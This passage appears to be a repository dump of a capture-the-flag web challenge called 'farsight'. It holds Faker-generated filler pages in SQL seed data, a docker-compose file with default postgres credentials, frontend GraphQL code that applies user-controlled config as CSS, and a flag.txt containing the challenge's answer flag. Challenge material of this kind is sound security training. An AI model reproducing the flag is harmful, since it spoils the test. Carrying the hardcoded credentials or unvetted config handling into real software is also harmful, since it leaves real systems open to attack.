feel.\\n```\\n\\n|Reflect so hospital choice anyone treatment point.|Material physical my from name represent.|Pm these who ball.|\\n|--------------------------------------------------|-----------------------------------------|------------------|\\n|Production room entire seven least.|Continue all through our action.|Trade exist course protect live value party.|\\n|Manage hundred by team movie.|Concern other third to simply expert fear.|Yourself necessary fill.|\\n|International hit house speak collection.|Understand politics heavy share carry.|Loss for law rule.|\\n|Agency itself fly with western whole third.|Resource vote beautiful partner.|Many tough could.|\\n\\n\\n<!-- President either personal adult lawyer relationship white. -->\\n\\nBecome bad might join. Base describe brother wish expect others. Likely issue \\nhappen purpose.\\n\\n**knowledge**\\n![Talk term southern consumer.](https://picsum.photos/399 \"Idea consider large theory. Well no actually always.\\nPersonal off drug draw low parent.\\nFather end turn day camera. Stock wall value bad go modern white movement.\")\\n\\n> Whatever quickly who.\\n\\n|Report million light I let claim.|Recognize really by gas want argue.|May remain can fear concern yeah woman.|\\n|---------------------------------|-----------------------------------|---------------------------------------|\\n|Industry else house head.|Tell phone experience building assume not TV.|Large lawyer television him cultural.|\\n|Individual arm role pull defense.|Event see administration stay together quickly.|Own measure hour goal add.|\\n|Draw black quite suffer return.|Alone onto decision between.|Particular dog truth rock.|\\n|Particularly theory hair town even woman person.|Protect term run security above age.|Bit environment shoulder room.|\\n\\n\\nOperation door season suffer performance. Bring yourself good election remain figure.\\n\\nnice\\n','\\n',chr(10)),13),\n(60, 'generation protect',replace('#### Eat lawyer mother talk catch off.\\n\\n*Talk strategy Republican.*\\n---\\n\\nMove understand admit.\\n----------------------\\n\\nadmit\\n___\\n\\n**choose**\\n*Fish help spring only interest analysis four.*\\n![Finish upon feeling stuff stock social scene.](https://picsum.photos/387 \"Effect win necessary police real condition. Imagine remember second tell perhaps green national current. Cup marriage quality.\")\\n\\n<!-- Far book nothing year treatment minute. -->\\n\\nWhich brother reality fear growth tell.\\n\\nKind house medical clear certain hospital.\\n------------------------------------------\\n\\n##### Project to animal idea arm.\\n\\n<!-- Here student defense against scientist event. -->\\n\\n***Such there opportunity maybe American.***\\n```worker\\nBlack agent collection. What do cup beautiful run.\\n```\\n\\n<!-- Water event project say site watch color hold. -->\\n\\n\t10. Tv new image down.\\n\\n*Today I stuff authority state question adult.*\\n**response**\\nUnit have all bit fill edge.\\n----------------------------\\n\\n### This together whether guy bag center before.\\n\\n1. Service pattern against analysis education.\\n1. Tell only painting road.\\n1. Deal trial measure point his itself national affect.\\n\\nmoney\\n_**Someone knowledge group improve.**_\\n***Response head school practice.***\\n1. Whose agency likely other commercial tell compare.\\n1. Help trade event theory activity stay.\\n1. Cultural think your stage kid.\\n***\\n\\n1. Number believe after herself agency.\\n1. Practice another total doctor would teach American sea.\\n1. About second save despite story worry.\\n\\nEnergy weight nice contain foot mother any. Organization talk food area.\\n\\n![Dog site support half about culture.](https://picsum.photos/407 \"See key laugh local. Former second practice possible sure safe model various. Question modern discuss activity usually these sister.\")\\n\\n___\\n\\n```walk\\nUsually ask story those quality. Hope carry game base finally course.\\n```\\n\\n##### Discuss family prepare answer.\\n\\n1. Voice ability level none difference rather audience toward.\\n1. Share remember must.\\n1. Help newspaper industry whose hot line later.\\nChair move style fall.\\n\\n<!-- Moment machine exactly game until already mouth source. -->\\n\\n_Believe structure maybe process how._\\n1. Save international suffer think.\\n1. Notice game someone doctor above.\\n1. Security car simple tree will.\\n\\n1. Clear turn oil.\\n1. Then hospital catch believe order project game.\\n1. Certainly who reason campaign.\\n\\n<!-- Figure other note near window wear civil. -->\\n\\n![Kind visit several beautiful sense much.](https://picsum.photos/432 \"Performance week eye bed. Political college focus financial.\\nLight anything charge wrong blue. A clear watch game word card successful even. List ahead decide into newspaper develop economy color.\")\\n\\n1. Impact actually range vote resource ball.\\n1. Where hope establish toward great.\\n1. South government goal worry not benefit tax.\\n___\\n\\nReality bag gun. Force true would fund probably bed.\\n\\n**these**\\n\t\t\t\t+ Another capital simple street future sell.\\n\\n<!-- Carry mention western window fill realize. -->\\n\\n**hope**\\nneed\\n','\\n',chr(10)),13),\n(61, 'imagine',replace('_As campaign produce situation choose position carry drive._\\n1. Also sea before little trade probably true.\\n1. Already hear ask upon.\\n1. Point decide news lot newspaper thing.\\nHuge seek whole follow somebody fish. Compare they few across pass ready.\\n\\n\t\t\t- Cold adult student arrive allow there.\\n\\n\t\t+ Statement adult apply.\\n\\n```election\\nCare seem join life manage. Even tonight minute well. Country common system production.\\n```\\n\\nWindow career front popular tonight.\\n\\n![Yet include western card Republican charge.](https://picsum.photos/307 \"Seven both study official speech pretty whom. Central information interview.\\nRock green especially brother meet simple. Tree project money safe risk already land late.\")\\n\\nThing case hope white drug around wish.\\n---------------------------------------\\n\\n6. Become visit mean first interview.\\n\\n1. Together painting unit make wish.\\n1. Go ask military evening.\\n1. Score recent local particularly beat.\\n\\n1. Network American traditional right.\\n1. He any well able.\\n1. Bill write significant alone.\\n\\n***And over glass believe land and.***\\n![Newspaper rich half more.](https://picsum.photos/369 \"Staff significant lawyer. Floor camera newspaper television because away. Want respond issue region those.\\nLeast collection put point receive collection protect fight. Really sense economic long on.\")\\n\\n```under\\nFace student billion. Republican stop everything shoulder.\\n```\\n\\n\t\t\t+ Article sing defense man attention note official.\\n\\nYoung draw think specific rock. Smile teacher fear successful.\\n\\n***\\n\\n4. Under actually expert care body military.\\n\\n```clear\\nAnalysis minute world positive. Enter television probably guess example old change.\\n```\\n\\n1. Task together every hold.\\n1. Begin west begin ago say describe throughout.\\n1. Stop stop lay point project sell structure.\\n\\n_**Despite outside person third station watch.**_\\n![Short kitchen down claim system decide.](https://picsum.photos/468 \"Woman decade no. End wife machine third agree tree else field.\\nBall real much American black.\")\\n\\n1. Whatever such difficult line determine season.\\n1. Reflect people throughout me beautiful stand bit consider.\\n1. Purpose go some white work too.\\n\\n___\\n\\nServe direction ask data add figure above.\\n------------------------------------------\\n\\n\t\t\t* Final type recognize approach apply leader camera.\\n\\n_Event quickly decade policy._\\n1. Art seven senior property pressure.\\n1. White from from sense region woman nothing.\\n1. Hit this beautiful good real.\\nIndividual decade effort edge generation live report. Purpose floor two past after hour.\\n\\n<!-- Cup program Mr eight. -->\\n\\n\t\t\t+ Leave option read issue.\\n\\n1. Seven late trouble series.\\n1. Its again you court choose them sport food.\\n1. Study color night important.\\n> Of including these on machine among several.\\n\\nopportunity\\n___\\n\\n<!-- Shake tonight rock stage. -->\\n\\n***Somebody trade none.***\\n![Major child old security lead activity budget see.](https://picsum.photos/263 \"Each understand from bad notice. Economic above young accept enjoy employee us.\\nWork since read.\\nFour space share yet. Film administration heart yeah.\")\\n\\n_**Dark option travel it break establish term.**_\\n[Court general late quality our mean couple whatever.](https://www.johnson.com/)\\n\\nwithout\\n***\\n\\n![Respond suggest how probably respond entire.](https://picsum.photos/485 \"Play trouble black Democrat girl. Like seat production serious give true.\\nStyle feel to money after blue end country. Rich although now use set.\")\\n\\n> Recent back economy artist while nation Congress.\\n\\nthrough\\nrecent\\n```anything\\nSkill open reflect modern similar. Party positive music field note level power.\\n```\\n\\n```successful\\nRecently positive daughter indeed company difference fly improve. Beyond college myself six manage use possible. Forget maybe apply direction some. Concern growth worry station rich use security.\\n```\\n\\n![Material pattern study between put collection.](https://picsum.photos/448 \"Example pick she.\\nGo act television. Low material huge. Leader street memory group west ok until.\")\\n\\n','\\n',chr(10)),13),\n(62, 'million my leave meet',replace('will\\n---\\n\\n![Issue well similar front give identify small.](https://picsum.photos/439 \"Relate town attack along reality teach. Red put though. Sense will time think world necessary bag treatment.\\nCatch protect administration sound forget. Without ahead stop others society.\")\\n\\n|Foreign fill public production explain pull recent.|Tree base range indeed find beat.|Possible article tell social no last.|\\n|---------------------------------------------------|---------------------------------|-------------------------------------|\\n|Note strong instead require.|Represent partner particularly could section bill phone capital.|Read although heavy break believe lay election effect.|\\n|Shoulder pick child drive which board.|To stop audience seven anyone spring.|Quickly agency back interesting wife cause amount.|\\n|Behind door fall affect.|Tonight really father even.|However build take either do down act.|\\n|Lay why just result student.|Ability easy skill.|Area election challenge phone far.|\\n\\n\\n***\\n\\n***Write media war small including.***\\nDeep country old mission without company.\\n\\n# Religious national lot modern.\\n\\n```town\\nPerformance production then though moment study.\\n```\\n\\n![Perhaps culture brother over line happy.](https://picsum.photos/438 \"Whose southern career drop. Leader whether they Democrat scene customer.\\nGive strategy safe reach address offer well keep.\")\\n\\nCamera give role their one chair case.\\n\\n1. Fight thousand over generation western watch can.\\n1. Treatment head suddenly alone degree enjoy.\\n1. Produce for whom.\\n6. Can image lawyer quickly.\\n\\n[Off image move alone ever.](http://ward.org/)\\n\\n> Customer ready week the measure month already.\\n\\n_Away picture season government sell draw fund._\\n*Carry window challenge window today present require.*\\n1. Offer matter simple collection.\\n\\n> He general marriage own.\\n\\n\t8. Car argue another door contain wide order.\\n\\n','\\n',chr(10)),14),\n(63, 'miss participant',replace('\t6. Seek upon plant music crime power determine.\\n\\n\t5. Scene draw mind hold section quality wall.\\n\\n1. Detail painting difference who.\\n1. Itself goal hot collection.\\n1. Phone might age wrong.\\n1. Process research concern specific remain.\\n1. In understand wall memory.\\n1. Beyond compare their effort.\\n> Edge suddenly practice mean.\\n\\n\t4. Personal chance sea.\\n\\n\t7. Summer community serious source space successful.\\n\\n**job**\\n```floor\\nMain total ground company. Party stop ready public. Three about set science size whose list quality. Indicate ask rest brother.\\n```\\n\\n|Here popular difficult area fight they thought already.|Increase support conference since.|Produce force major their that red.|\\n|-------------------------------------------------------|----------------------------------|-----------------------------------|\\n|Item writer when similar special about above rise.|Ago may behavior.|Fire medical little its into.|\\n|Culture seat level much subject new television kid.|Drive first worker surface look bank type.|Window want painting relationship administration citizen bank.|\\n|West if dream push agree agree through factor.|Live kind with there never.|By unit reflect federal Congress open laugh.|\\n|National sport able bank quite state list.|Case artist school lead.|Office public statement old billion size old week.|\\n\\n\\n1. Without become Congress young politics during heavy.\\n1. Trial seat involve health reveal administration recent loss.\\n1. Though need since in.\\n\\nThat could agency cover. Produce building operation. Design learn who find number because stage.\\n\\n> Fall peace want cause statement.\\n\\n![Strong attack agent.](https://picsum.photos/205 \"Mention remain off partner court on at professor. Across share artist onto decide design.\\nIncrease war fill successful make across meet. My glass pay last market third.\")\\n\\n1. Few I order.\\n1. Enter camera report simple fast may.\\n1. Care citizen quickly in let full trade political.\\n___\\n\\n|Account still hard door.|Throw team same figure everyone operation week.|Modern smile blood lot choose about of.|\\n|------------------------|-----------------------------------------------|---------------------------------------|\\n|Human but central a career Mrs ball much.|Over sort world.|Image research appear current positive world.|\\n|Nearly audience find case to agency travel.|Growth bag end kind what herself boy.|Their certain kitchen middle happy try dark son.|\\n|Perhaps information they with check forward.|Movement crime seem listen answer figure meeting.|My character attention really central ball.|\\n|Water join herself involve.|Result whom inside collection.|Stock bank choice number wind away.|\\n\\n\\n![Military professional almost with security still.](https://picsum.photos/267 \"Build indicate teacher difference.\\nRequire necessary audience throughout become call mouth. Result participant rate fight. White blood through ready Democrat something everybody.\")\\n\\nmanage\\n\t\t\t* Your tree blue.\\n\\n_**Despite pay especially finally.**_\\n> Whose car pull full.\\n\\nTreatment point performance human those.\\n\\n1. Upon land fire bit life him.\\n1. Loss baby style public possible he.\\n1. Choose particular check any tough finish.\\n\\n***Leave college campaign we whom wife then several.***\\nEmployee participant piece necessary.\\n\\n|Process computer production increase condition pass bad.|Road and report walk boy building building.|Scene couple bar miss clear not art.|\\n|--------------------------------------------------------|-------------------------------------------|------------------------------------|\\n|Dinner learn support election data team five apply.|Music man decade lay agreement.|Hold live soldier miss.|\\n|Firm true growth rock.|Space piece maybe first eat federal develop.|Over individual position threat today fine.|\\n|Try nothing trade return difficult.|Occur walk police still effect shake understand.|Watch step forget information.|\\n|Anyone spend any arrive show.|Mean glass new what various woman.|Shake heavy item wear.|\\n\\n\\n***Half although act run.***\\nskill\\nDown house food figure think purpose.\\n\\n\t\t* Language ball ball family social ball.\\n\\n8. Name left region term important.\\n\\nGroup type in vote blood.\\n\\n![Person mouth conference long fire.](https://picsum.photos/493 \"Never important improve far line difficult. Expert cover much age.\\nMeasure miss between manage soldier face be. Could style first prepare citizen investment cause.\")\\n\\n_Drive area each song magazine stuff between._\\n***Decision today require rate total.***\\nUpon determine age player raise.\\n--------------------------------\\n\\n*Know three civil official.*\\n<!-- Full kid teach eat little. -->\\n\\n1. Environment sit data officer road everyone everything.\\n1. Necessary old outside.\\n1. Pay around can.\\n\\n![Own parent paper according build.](https://picsum.photos/443 \"Actually size assume market professional listen. Return some send American play know. People he exactly reflect best population.\")\\n\\n***Knowledge American lead radio third can.***\\n1. Inside section person tonight two possible.\\n1. Scene thousand remain minute.\\n1. Sometimes exactly course important security.\\n```discussion\\nThus member simply bill up professor. Term all open late may away. Sometimes sign experience yeah indeed teach window home.\\n```\\n\\n|Seem major already bar third practice soldier.|Bring realize far rise everybody game nearly.|Wind perform push risk product idea.|\\n|----------------------------------------------|---------------------------------------------|------------------------------------|\\n|Per if smile I although.|Hit seem standard center debate stuff feel today.|Gun result recognize purpose scientist.|\\n|Hotel affect family low movie evidence quality animal.|Beautiful perhaps human edge local fine owner.|Either drive thus dog again take financial.|\\n|Financial agreement research really exactly.|North mind walk wrong statement energy through yet.|Trip himself wonder fear expert.|\\n|Center stay may performance doctor.|Low you couple view case.|Certainly image place reality money until.|\\n\\n\\n---\\n\\nImage east buy wonder city. Program western management organization.\\n\\nInformation policy nor recently water it cultural ability.\\n----------------------------------------------------------\\n\\n*Happy memory stage garden its.*\\nTeach set house statement. Production statement group candidate nice push any. Leg mission war. Together same between \\nmillion figure once.\\n\\n','\\n',chr(10)),14),\n(64, 'today',replace('***\\n\\n<!-- Identify lay school try. -->\\n\\n## Responsibility establish pass despite report meeting.\\n\\n<!-- Report join order speak knowledge change hour. -->\\n\\n<!-- Whether white send action. -->\\n\\nname\\nSport tonight section simple group. Agent loss goal her continue order. Behind property report eye.\\n\\n7. Low audience exactly southern word face woman manager.\\n\\nPopulation church project. Current response specific return less staff. Drop former different learn \\ntrade three.\\n\\nTop act good section.\\n\\n','\\n',chr(10)),14),\n(65, 'cause assume war seem think',replace('\t- Score enough age top rather knowledge.\\n\\n![Prevent now nothing low standard medical discussion.](https://picsum.photos/259 \"Focus speech bring free. Scene key us. Tax somebody stay your single card total.\")\\n\\n> Account face not occur leader writer.\\n\\nHimself between identify black section hope development room.\\n\\n|Out step them population available.|Which discover tree experience whether share.|Deal difference out everybody wide four maybe.|\\n|-----------------------------------|---------------------------------------------|----------------------------------------------|\\n|Teach factor figure increase step teacher leader.|Town down pay bed beyond.|Old candidate size simple notice Congress sell.|\\n|Bad audience community government.|Middle but among.|Point trip at new.|\\n|Own natural despite team.|About business provide group box high.|More product cold adult this certainly.|\\n|When everything effect check personal.|Key difference leg call.|Sea until low agree budget son author.|\\n\\n\\nlast\\n_**Born defense word least shoulder make certainly.**_\\n\t8. Quickly century bad other.\\n\\n1. Fear care be trip wonder PM boy.\\n1. Song budget interest record voice support budget difference.\\n1. Over moment dinner sure.\\n1. Somebody support democratic live member.\\n\\n5. Lot camera admit fight nature.\\n\\n> Also assume continue agree crime moment.\\n\\n\t\t\t\t+ Onto economy raise capital magazine.\\n\\n___\\n\\n***\\n\\nFund statement only fast discuss argue the party. Mission however want discover add. Worry hear site especially least \\nworker.\\n\\n1. Actually new full.\\n1. Ball significant game author remain.\\n1. Character street politics water term.\\n|Leg important institution pattern.|Pretty like actually car between successful should.|In management member hospital who.|\\n|----------------------------------|---------------------------------------------------|----------------------------------|\\n|Build ready difficult meet.|Second including certainly girl may whether.|Cost clearly its recently.|\\n|Energy itself number baby recent federal.|Gun beautiful Mrs fish.|Describe director task store lead admit value administration.|\\n|Sort similar hospital sit treatment artist.|Bank group lead floor.|Should open try night need eight.|\\n|Success similar yard himself too sure lead.|Easy house decade future her.|Today performance only read.|\\n\\n\\n___\\n\\n> Risk exactly character special walk nothing describe cell.\\n\\n','\\n',chr(10)),14),\n(66, 'blue can professor',replace('```sea\\nMove return do car fast. Information sit take back with American. Federal next both administration Congress.\\n```\\n\\n<!-- Middle test two court hold test charge. -->\\n\\n_Long drug song east purpose end site._\\n[Clear even back himself building.](https://wright-dixon.com/)\\n\\n_**None adult event range.**_\\n<!-- Street sort still difficult environmental. -->\\n\\n---\\n\\n*Sing health maintain there hope.*\\n<!-- Their already technology matter herself job who. -->\\n\\n|Five system leg use despite begin writer whom.|Bag process science west gun.|Eye raise list police on.|\\n|----------------------------------------------|-----------------------------|-------------------------|\\n|Central reduce security factor.|Run beat why radio exist officer.|Effect adult sport according.|\\n|Per stuff company national serve provide song deep.|Wall purpose his.|Property baby account difficult lead then.|\\n|Clearly interest best mother similar girl receive.|Ever federal painting offer.|Center front seem serve any century their.|\\n|Individual consider trouble rule at.|Ground where music above.|Personal only marriage film.|\\n\\n\\n','\\n',chr(10)),15),\n(67, 'way without example anything',replace('\t* Care dinner red.\\n\\n**wait**\\nQuestion good morning leave middle feel. Question reflect scene represent \\nradio system you. Government energy sport mouth huge develop.\\n\\nSummer house way member begin.\\n\\n> Around prepare conference inside.\\n\\n![For watch writer alone.](https://picsum.photos/284 \"Go president response task.\\nMiss city mean. Ever kitchen participant expert. Organization small tell.\")\\n\\nStrong business personal heart easy least.\\n------------------------------------------\\n\\n|Believe job radio body however meet international.|Card tough care unit value career figure support.|Popular actually resource we garden security another.|\\n|--------------------------------------------------|-------------------------------------------------|-----------------------------------------------------|\\n|Southern Republican into present.|Thank responsibility likely official seem not store.|Push above several turn idea man.|\\n|Rock coach agree someone task.|Society within more.|Girl adult life safe positive.|\\n|Right natural small direction life scene.|The various respond beyond speak.|Administration difficult end truth game lot it sort.|\\n|Late along hotel size exist.|Perform answer lawyer she hear company.|What great ahead rest.|\\n\\n\\n[History listen outside west team base.](https://taylor.org/)\\n\\n8. Market full talk service industry realize southern.\\n\\n','\\n',chr(10)),15),\n(68, 'head natural cultural detail capital',replace('\t\t- Hot night almost ago I others next.\\n\\n<!-- Understand past happen car young shoulder. -->\\n\\nMovie ready one use near able word. Me different find small nothing camera. Scientist \\nwhether interview local attention.\\n\\n> Far else technology recognize represent law investment rich.\\n\\n> Technology our their camera.\\n\\n1. Trade three but within upon.\\n1. For line factor one.\\n1. Part however church network citizen nearly force.\\n\\n*Arm material service cut per.*\\n### Quality think model difficult organization television.\\n\\n<!-- Though recent yeah cup. -->\\n\\nedge\\n_Article apply attention south hot hear fear._\\n---\\n\\n_**Party serve relationship create identify.**_\\n**here**\\n1. Congress economic long.\\n1. Standard realize lay interest although candidate some child.\\n1. One I plan amount.\\n![Apply draw population north challenge.](https://picsum.photos/369 \"Health myself soon leave. Game of drive might employee ever teach.\\nTable put central upon. Someone bed small name.\\nCut order gun year grow computer activity end. Control exactly age movement break.\")\\n\\n![Parent different score federal issue information.](https://picsum.photos/265 \"Hot win money full idea. Vote between voice sit court family. View mouth change other left.\\nElse church board pass officer from discuss big. Various its shoulder fish hospital.\")\\n\\n_Price successful federal summer take fine blue total._\\n```necessary\\nParty sit like baby notice what available whether. Trouble travel Democrat since.\\n```\\n\\n\t\t\t\t* Issue middle center rather.\\n\\n','\\n',chr(10)),15),\n(69, 'girl use must',replace('Change fact argue another network.\\n\\n<!-- Well start bed choose move. -->\\n\\nConsumer similar dark claim.\\n\\n#### Whole young popular push four wait heart.\\n\\nalmost\\n___\\n\\n1. School whom paper open media claim animal.\\n1. Nice subject above service tax customer difference.\\n1. Task maintain how material tell then interest add.\\n<!-- Former point support attorney similar toward drop. -->\\n\\n***\\n\\n**thing**\\n![Since process above performance shoulder.](https://picsum.photos/397 \"General there sister somebody training cell. Its control direction house improve.\\nTop worker health Democrat lay city. Than somebody financial individual according purpose whether visit.\")\\n\\n<!-- Official memory now pull must. -->\\n\\n|Fast court seat blood tax.|Challenge thank case seek.|Month lot bill perhaps production financial clear house.|\\n|--------------------------|--------------------------|--------------------------------------------------------|\\n|Charge national mother long seem out.|Force rise answer bring.|Think travel organization window generation sometimes others.|\\n|Bad be over stand understand idea case.|Buy discussion music.|Pass night born evening series right interview be.|\\n|Pretty kid always write manage.|And kid young theory hit.|Quite once many look necessary teacher degree.|\\n|May people staff structure decision way also game.|Unit art forget positive send budget.|Audience head growth nature suggest without add.|\\n\\n\\nHouse entire ahead seat sign voice least. Claim send seven every.\\n\\nAvoid thing left get wonder. Marriage five her red rather sign. Already model food drug Mr prove seek.\\n\\n*Catch strong area cultural couple their need method.*\\n*Unit leg them threat treat first pick.*\\nSon very eat tell recently.\\n---------------------------\\n\\n1. Over word force.\\n1. Herself wide once hold assume.\\n1. Prove sister couple need.\\n<!-- Out tree source. -->\\n\\n','\\n',chr(10)),15),\n(70, 'free point floor',replace('1. Increase agent same note.\\n1. See born throw before since television computer.\\n1. Professional wrong this real month.\\n|For involve eat learn human car.|Responsibility range factor itself address safe.|Wife stuff exist area term him success most.|\\n|--------------------------------|------------------------------------------------|--------------------------------------------|\\n|Catch police never never candidate small.|Site population prepare air go might establish against.|By travel finally can country organization.|\\n|None phone no concern me avoid citizen.|Shoulder white design likely clearly laugh ten news.|Friend agree or crime own.|\\n|Anyone account hand whether economic power after.|Decide old single new high poor.|They law spring thus animal although whose.|\\n|Article research chance short answer lawyer.|View whose which anything.|Lose trouble body similar.|\\n\\n\\n![Establish senior build without herself.](https://picsum.photos/321 \"From cell son issue onto such for form. Wife make control mission success wrong.\")\\n\\n_**Development piece clear billion herself same night goal.**_\\n|Speech result visit paper could business.|Stop benefit high write reality physical.|Response draw few.|\\n|-----------------------------------------|-----------------------------------------|------------------|\\n|Marriage account medical across think radio future.|Win whether name fall well present treatment claim.|Exist animal when scene.|\\n|Back analysis west.|System cultural trial.|Necessary rule stay.|\\n|Skill treat yeah model.|Get first single agreement network artist.|Lawyer her number administration collection recent example.|\\n|Food technology method bring art performance artist.|Project side simply professional difference relationship court.|Who take office.|\\n\\n\\nSchool fight worry drug other without.\\n--------------------------------------\\n\\n<!-- Spend response two five Republican opportunity evidence letter. -->\\n\\n```member\\nLate list responsibility thus. Product of himself themselves hand. Maybe between building. Trip space organization always area beyond ahead.\\n```\\n\\nnatural\\n```population\\nCarry she your into throw. Old past if enough home former bank. My fall north team represent.\\n```\\n\\n<!-- Lay from degree fight manager. -->\\n\\n<!-- Probably commercial capital short human difference. -->\\n\\n_**Those success popular.**_\\n***\\n\\n1. Positive nor seek nor kid send create.\\n1. Cover type sort hot truth price.\\n1. Year interest them together.\\n<!-- Light something method property record. -->\\n\\n![Score relate care natural behavior.](https://picsum.photos/401 \"Factor article heavy civil. Information war out remember painting key. Central too indicate art under line skill.\\nWar while expect course vote.\")\\n\\n```this\\nWithin it find able mean great religious.\\n```\\n\\nParticipant national already region.\\n\\nBecause great perhaps other seven reach modern.\\n-----------------------------------------------\\n\\nback\\n```election\\nCell approach new. President exist arrive two. Fact rich nature administration if year.\\n```\\n\\n<!-- Manager machine Republican type behind anything debate. -->\\n\\n___\\n\\n![Take rest Mrs season.](https://picsum.photos/462 \"Recent mention much civil pressure rock identify. Commercial billion vote general marriage first.\\nWest this detail give hot. Lose shoulder daughter car Mr station official major.\")\\n\\n[Later dog former common lawyer study.](https://www.white.com/)\\n\\n1. Many score building politics Congress whom guy.\\n1. Of know few cell suffer decade interesting read.\\n1. Carry attack most bank citizen drop reason year.\\n\\n***Prove reflect current mind treatment great especially.***\\nWell Democrat ready.\\n--------------------\\n\\nNumber plan find sell nice three. Many daughter evening tell population laugh save. Defense chair production \\nradio outside yet.\\n\\n### Result time reason model government.\\n\\n1. Sing gas speak join newspaper effort what.\\n1. Mr control owner child.\\n1. Language though expect professor it station huge.\\nHuman me wait early when bring discuss.\\n\\n___\\n\\n1. Thing record former little face moment.\\n1. Data bit happen both option.\\n1. Boy management way others final.\\n_Movie discuss serve popular recognize notice._\\n---\\n\\n###### Letter capital hour from forget view.\\n\\n<!-- Carry head worker hope until. -->\\n\\n\t- Already instead of choice whose method week nothing.\\n\\n|Produce or onto available pass movie those performance.|I hold once into find later camera.|Home size final building continue within expert.|\\n|-------------------------------------------------------|-----------------------------------|------------------------------------------------|\\n|Imagine first step enough dream open prevent here.|Sing film first head early study.|Community team everyone option suffer gas.|\\n|Letter fight father record popular memory.|Line modern school indicate.|Dream rock everyone.|\\n|Quickly quickly experience believe tend should medical.|Present talk field style type responsibility material.|Anyone operation history.|\\n|Everything might support.|Should yourself news understand hand spend.|Style interesting ago couple forward.|\\n\\n\\n<!-- Form visit low employee claim level story. -->\\n\\n***Bill opportunity top color.***\\n1. Sit care notice face happen accept sea.\\n1. Interview cell image candidate fly.\\n1. Common thing mouth simply these pick Mr half.\\n\\n|Poor beyond near ability yes responsibility.|Big head chance design seem blue.|Unit may shake.|\\n|--------------------------------------------|---------------------------------|---------------|\\n|Also expect leave yourself might discover read.|Modern before imagine woman month fear garden.|Him station beautiful.|\\n|Recent new enter only physical each fish pressure.|Them sometimes life realize article.|Make several make modern she season.|\\n|System plan picture well body.|Place oil life face.|How evening word bad.|\\n|Sea technology thus may join see.|Someone fish describe sometimes realize man dream.|Without close you change affect young baby hope.|\\n\\n\\n4. Dinner notice she truth serve evidence girl.\\n\\nDemocratic late say by. Leave ready house company list. Popular bed them within. Song example dark reality.\\n\\nVery health behind. Prove herself action.\\n\\n1. Ahead smile claim to.\\n1. Town order reduce image wait human shake.\\n1. Low consumer close point.\\n\\nJob go you. Place study sea actually gas look one. Face know attorney huge. Traditional hear establish appear. \\n\\n','\\n',chr(10)),15),\n(71, 'Mr several color traditional',replace('Agency create her then.\\n-----------------------\\n\\n_Evidence theory never need._\\nCard each down approach.\\n\\nMy whom daughter second.\\n\\n\t\t\t\t- Perform more require study way.\\n\\nopen\\n> Short class activity fire remember response.\\n\\nLose house among hospital writer top itself.\\n--------------------------------------------\\n\\n[Point respond everything.](https://hall.net/)\\n\\n\t1. Author bring leader garden total hundred remain.\\n\\n','\\n',chr(10)),15);\nALTER SEQUENCE page_id_seq RESTART WITH 72;\n\nCOMMIT;\n"
  },
  {
    "path": "web/farsight/docker-compose.yml",
    "content": "services:\n    web:\n        build: .\n        image: farsight.web.ctf.local\n        ports: [\"8000:8000\"]\n        environment:\n            PGUSER: postgres\n            PGPASSWORD: postgres\n            PGHOST: db\n            PGDATABASE: farsight\n        links: [db]\n    db:\n        image: postgres\n        environment:\n            POSTGRES_USER: postgres\n            POSTGRES_PASSWORD: postgres\n            POSTGRES_DB: farsight\n        volumes:\n            - ./data/:/docker-entrypoint-initdb.d/\n"
  },
  {
    "path": "web/farsight/flag.txt",
    "content": "DUCTF{5h0wINg_S3cREt_sch3m4S_spR1nGs_SITe_sUPeRVi5I0N_Sid3STeP-bdcf8179}"
  },
  {
    "path": "web/farsight/frontend/assets/browser.mjs",
    "content": "import { graphql } from \"./util.mjs\";\n\nexport class SiteBrowser {\n    constructor(siteId) {\n        this.token = localStorage.getItem(\"token\");\n        this.siteId = siteId;\n        this.siteInfo = undefined;\n    }\n\n    async loadSiteData() {\n        this.siteInfo = (\n            await graphql(\n                `\n                    query site($site: ID!) {\n                        site(id: $site) {\n                            id\n                            name\n                            public\n                            owner {\n                                id\n                            }\n                            config {\n                                key\n                                value\n                            }\n                            pages {\n                                id\n                                name\n                                content\n                            }\n                        }\n                    }\n                `,\n                { site: this.siteId }\n            )\n        ).site;\n    }\n\n    listPages() {\n        return this.siteInfo.pages;\n    }\n\n    getPage(pageId) {\n        return this.siteInfo.pages.find((p) => +p.id === +pageId);\n    }\n\n    getSite() {\n        return this.siteInfo;\n    }\n}\n"
  },
  {
    "path": "web/farsight/frontend/assets/index.mjs",
    "content": "import { selectView, getCurrentUser } from \"./util.mjs\";\nimport { SiteBrowser } from \"./browser.mjs\";\nimport { graphql } from \"./util.mjs\";\n\n(async function () {\n    const router = new Navigo(\"/\");\n    const user = await getCurrentUser();\n\n    const pageSel = document.querySelector(\"#page-list\");\n    const pageAdd = document.querySelector(\"#page-add\");\n    const heading = document.querySelector(\".container > header > h1\");\n    const content = document.querySelector(\".container > main\");\n    const pgModal = document.querySelector(\"#page-modal\");\n    const newPgFm = document.querySelector(\"#page-modal form\");\n    const cfModal = document.querySelector(\"#conf-modal\");\n    const confAdd = document.querySelector(\"#conf-add\");\n\n    pgModal.querySelector('[data-modal=\"close\"]').addEventListener(\"click\", () => (pgModal.style.display = \"none\"));\n    cfModal.querySelector('[data-modal=\"close\"]').addEventListener(\"click\", () => (cfModal.style.display = \"none\"));\n\n    router.on(\"/\", () => router.navigate(\"/home\"));\n    router.on(\"/home\", () => selectView(\"home\"));\n    router.on(\"/logout\", () => {\n        localStorage.removeItem(\"token\");\n        window.location.reload();\n    });\n    router.on(\"/browser\", () => router.navigate(`/browser/${user.sites[0].id}`));\n    router.on(\"/browser/:siteid\", async (route) => {\n        selectView(\"browser\");\n\n        const siteId = route.data.siteid;\n        const browser = new SiteBrowser(siteId);\n        await browser.loadSiteData();\n        const pages = browser.listPages();\n\n        if (pages.length > 0) {\n            selectPage(pages[0].id);\n        } else {\n            heading.textContent = \"No Pages Yet. Make one!\";\n        }\n\n        pageSel.innerHTML = \"\";\n        pages.forEach((page) => {\n            const opt = document.createElement(\"option\");\n            opt.textContent = page.name;\n            opt.value = page.id;\n            pageSel.appendChild(opt);\n        });\n\n        content.removeAttribute(\"style\");\n        browser.getSite().config.map(({ key, value }) => content.style.setProperty(key, value));\n\n        pageSel.onchange = () => selectPage(+pageSel.value);\n        pageAdd.onclick = () => {\n            pgModal.style.display = \"block\";\n            pgModal.querySelector('[data-modal=\"submit\"]').onclick = async () => {\n                const data = Object.fromEntries(new FormData(newPgFm).entries());\n\n                const res = await graphql(\n                    `\n                        mutation newPage($name: String, $content: String, $siteId: ID!) {\n                            newPage(name: $name, content: $content, siteId: 